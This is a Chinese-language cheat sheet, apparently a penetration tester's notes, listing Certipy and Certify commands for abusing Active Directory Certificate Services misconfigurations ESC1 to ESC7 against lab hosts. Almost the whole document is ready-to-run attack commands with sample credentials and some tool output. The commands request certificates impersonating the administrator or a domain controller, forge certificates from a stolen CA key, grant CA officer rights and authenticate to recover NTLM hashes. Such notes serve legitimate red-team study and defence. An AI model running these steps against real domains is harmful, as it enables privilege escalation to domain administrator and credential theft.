查找漏洞证书模板
1
Certify.exe find /vulnerable
ESC1
- 通过证书模板指定administrator获取administrator的证书
1
certipy req -u hacker@shi.com -p 'Zhangsan123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -template 模板名称 -upn administrator@shi.com -debug
- 验证证书,获取ntlm-hash
1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.139 -debug
ESC2
- 请求证书
1
certipy req -u esc22@shi.com -p 'Admin123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -target-ip 10.10.10.136 -template esc2ren(证书模板) -debug
- 使用证书代理用户administrator请求证书
1
certipy req -u esc22@shi.com -p 'Admin123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -target-ip 10.10.10.136 -debug -on-behalf-of "shi\administrator" -pfx esc22.pfx
- 认证
1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.139
ESC3
- 请求证书
1
certipy req -u esc3@shi.com -p 'Admin123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -target-ip 10.10.10.136 -template esc3 -debug
- 使用证书代理用户administrator请求证书
1
certipy req -u esc3@shi.com -p 'Admin123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -target-ip 10.10.10.136 -debug -on-behalf-of "shi\administrator" -pfx esc3.pfx
- 认证
1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.139
ESC4
- 修改证书模板配置
1
certipy template -u esc4@shi.com -p 'Admin123!@#' -dc-ip '10.10.10.139' -template esc4 -save-old -debug
- 请求证书
1
certipy req -u esc4@shi.com -p 'Admin123!@#' -dc-ip 10.10.10.139 -target 10.10.10.136 -ca shi-CA-CA -template esc4 -upn administrator@shi.com -debug
- 认证
1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.139 -debug
- 恢复
1
certipy template -u esc4@shi.com -p 'Admin123!@#' -dc-ip '10.10.10.139' -template esc4 -configuration esc4.json -debug
ESC5
1
certipy ca -backup -u administrator -p 'admin@123' -ca s-CS-CA -target 10.10.10.145 -debug
1
certipy forge -ca-pfx s-CS-CA.pfx -upn ADMINISTRATOR -subject CN=ADMINISTRATOR,CN=USERS,DC=s,DC=com
1
certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.146 -debug
ESC6
- 查找EDITF_ATTRIBUTESUBJECTALTNAME2是否启动
1 2 3 4
certipy find -u 'lisi@s.com' -p 'Lsadmin@123' -dc-ip 10.10.10.146 -stdout | grep "User Specified SAN" Certipy v4.3.0 - by Oliver Lyak (ly4k) User Specified SAN : Enabled
- 指定SAN请求证书
User为一个已经启用的证书模板,理论上可以使用任何已经启用的证书模板
1 2 3 4 5
//在SAN中指定用户帐户(administrator) certipy req -u 'lisi@s.com' -p 'Lsadmin@123' -dc-ip 10.10.10.146 -target 10.10.10.145 -ca s-CS-CA -template User -upn administrator@s.com -debug //或者 //在SAN中指定计算机帐户(DC) certipy req -u 'lisi@s.com' -p 'Lsadmin@123' -dc-ip 10.10.10.146 -target 10.10.10.145 -ca s-CS-CA -template User -dns dc.s.com
- 使用证书
1 2 3 4
//用户证书 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.146 -debug //或者 certipy auth -pfx dc.pfx -dc-ip 10.10.10.146 -debug
ESC7
- 如果您只有
管理CA
的权限(下图),您可以通过将您的用户添加为新Manage CA来授予自己颁发和管理证书
(Manage Certificates)权限
1
certipy ca -ca 's-CS-CA' -target 10.10.10.145 -dc-ip 10.10.10.146 -add-officer zhaoliu -u zhaoliu@s.com -p 'Zladmin@123' -debug
- 默认情况下,SubCA模板处于启用状态,如果SubCA没有启用,可以使用-enable-template启用
1
certipy ca -ca 's-CS-CA' -enable-template SubCA -target 10.10.10.145 -dc-ip 10.10.10.146 -u wangwu@s.com -p 'Wwadmin@123'
- 请求基于SubCA模板的证书。该请求将被拒绝,但我们将保存私钥并记下请求 ID
1
2
3
4
5
6
7
8
9
certipy req -u wangwu@s.com -p 'Wwadmin@123' -ca s-CS-CA -target 10.10.10.145 -dc-ip 10.10.10.146 -template SubCA -upn administrator@s.com
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 16
Would you like to save the private key? (y/N) y
[*] Saved private key to 16.key
[-] Failed to request certificate
- 使用我们的
Manage CAand
,然后我们可以使用命令和参数Manage Certificates
发出失败的证书请求。ca-issue-request <request ID>
1
certipy ca -ca 's-CS-CA' -issue-request 16 -u wangwu@s.com -p 'Wwadmin@123' -target 10.10.10.145 -dc-ip 10.10.10.146
req
最后,我们可以使用命令和-retrieve
<request ID>
参数检索颁发的证书
1
certipy req -u wangwu@s.com -p 'Wwadmin@123' -ca s-CS-CA -target 10.10.10.145 -dc-ip 10.10.10.146 -retrieve 16
- 认证
1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.146 -debug
ESC8
https://shigophilo.github.io/AD-CS-relay-attack-ESC8/